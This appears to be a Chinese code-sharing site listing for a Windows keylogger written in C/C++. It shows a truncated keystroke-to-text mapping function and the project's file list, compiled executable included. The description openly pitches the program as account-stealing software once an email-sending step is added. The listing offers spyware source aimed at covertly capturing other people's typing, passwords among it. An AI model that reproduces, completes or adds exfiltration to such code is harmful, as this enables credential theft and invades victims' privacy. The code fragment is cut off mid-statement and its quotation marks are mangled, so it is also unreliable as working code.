资源简介
c语言键盘记录源程序,可以记录键盘输入的内容,然后保存为txt文件,如果加上邮箱发送就是完美的盗号软件啦!
代码片段和文件信息
#include
#include
#include
#include
#include
using namespace std;
string GetKey(int Key) // 判断键盘按下什么键
{
string KeyString = ““;
//判断符号输入
const int KeyPressMask=0x80000000; //键盘掩码常量
int iShift=GetKeyState(0x10); //判断Shift键状态
bool IS=(iShift & KeyPressMask)==KeyPressMask; //表示按下Shift键
if(Key >=186 && Key <=222)
{
switch(Key)
{
case 186:
if(IS)
KeyString = “:“;
else
KeyString = “;“;
break;
case 187:
if(IS)
KeyString = “+“;
else
KeyString = “=“;
break;
case 188:
if(IS)
KeyString = “<“;
else
KeyString = ““;
break;
case 189:
if(IS)
KeyString = “_“;
else
KeyString = “-“;
break;
case 190:
if(IS)
KeyString = “>“;
else
KeyString = “.“;
break;
case 191:
if(IS)
KeyString = “?“;
else
KeyString = “/“;
break;
case 192:
if(IS)
KeyString = “~“;
else
KeyString = “‘“;
break;
case 219:
if(IS)
KeyString = “{“;
else
KeyString = “[“;
break;
case 220:
if(IS)
KeyString = “|“;
else
KeyString = “\\“;
break;
case 221:
if(IS)
KeyString = “}“;
else
KeyString = “]“;
break;
case 222:
if(IS)
KeyString = ‘“‘;
else
KeyString = “‘“;
break;
}
}
//判断键盘的第一行
if (Key == VK_ESCAPE) // 退出
KeyString = “[Esc]“;
else if (Key == VK_F1) // F1至F12
KeyString = “[F1]“;
else if (Key == VK_F2)
KeyString = “[F2]“;
else if (Key == VK_F3)
KeyString = “[F3]“;
else if (Key == VK_F4)
KeyString = “[F4]“;
else if (Key == VK_F5)
KeyString = “[F5]“;
else if (Key == VK_F6)
KeyString = “[F6]“;
else if (Key == VK_F7)
KeyString = “[F7]“;
else if (Key == VK_F8)
KeyString = “[F8]“;
else if (Key == VK_F9)
KeyString = “[F9]“;
else if (Key == VK_F10)
KeyString = “[F10]“;
else if (Key == VK_F11)
KeyString = “[F11]“;
else if (Key == VK_F12)
KeyString = “[F12]“;
else if (Key == VK_SNAPSHOT) // 打印屏幕
KeyString = “[PrScrn]“;
else if (Key == VK_SCROLL) // 滚动锁定
KeyString = “[Scroll Lock]“;
else if (Key == VK_PAUSE) // 暂停、中断
KeyString = “[Pause]“;
else if (Key == VK_CAPITAL) // 大写锁定
KeyString = “[Caps Lock]“;
//-------------------------------------//
//控制键
else if (Key == 8) //<- 回格键
KeyString = “[Backspace]“;
else if (Key == VK_RETURN) // 回车键、换行
KeyString = “[Enter]\n“;
else if (Key == VK_SPACE) // 空格
KeyString = “ “;
//上档键:键盘记录的时候,可以不记录。单独的Shift是不会有任何字符,
//上档键和别的键组合,输出时有字符输出
/*
else if (Key == VK_LSHIFT) // 左侧上档键
KeyString = “[Shift]“;
else if (Key == VK_LSHIFT) // 右侧上档键
KeyString = “[SHIFT]“;
*/
/*如果只是对键盘输入的字母进行记录:可以不让以下键输出到文件*/
else if (Key == VK_TAB) // 制表键
KeyString = “[Tab]“;
else if (Key == VK_LCONTROL) // 左控制键
KeyString = “[Ctrl]“;
else i
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 7553 2013-09-25 22:41 2013x9x25键盘记录01\1.cpp
文件 4422 2013-09-25 23:12 2013x9x25键盘记录01\2013x9x25键盘记录01.dsp
文件 546 2013-09-25 22:24 2013x9x25键盘记录01\2013x9x25键盘记录01.dsw
文件 41984 2013-09-30 16:01 2013x9x25键盘记录01\2013x9x25键盘记录01.ncb
文件 48640 2013-09-30 16:01 2013x9x25键盘记录01\2013x9x25键盘记录01.opt
文件 934 2013-09-26 13:59 2013x9x25键盘记录01\2013x9x25键盘记录01.plg
文件 207309 2013-09-26 13:59 2013x9x25键盘记录01\Debug\1.obj
文件 548993 2013-09-26 13:59 2013x9x25键盘记录01\Debug\2013x9x25键盘记录01.exe
文件 808728 2013-09-26 13:59 2013x9x25键盘记录01\Debug\2013x9x25键盘记录01.ilk
文件 5495556 2013-09-25 22:33 2013x9x25键盘记录01\Debug\2013x9x25键盘记录01.pch
文件 1123328 2013-09-25 22:41 2013x9x25键盘记录01\Debug\2013x9x25键盘记录01.pdb
文件 181248 2013-09-30 16:00 2013x9x25键盘记录01\Debug\vc60.idb
文件 135168 2013-09-25 22:41 2013x9x25键盘记录01\Debug\vc60.pdb
目录 0 2013-09-30 16:02 2013x9x25键盘记录01\Debug
目录 0 2013-09-30 16:01 2013x9x25键盘记录01
----------- --------- ---------- ----- ----
8604409 15
- 上一篇:简单浏览器设计,MFC实现
- 下一篇:经典 MFC 界面组件库
评论
共有 条评论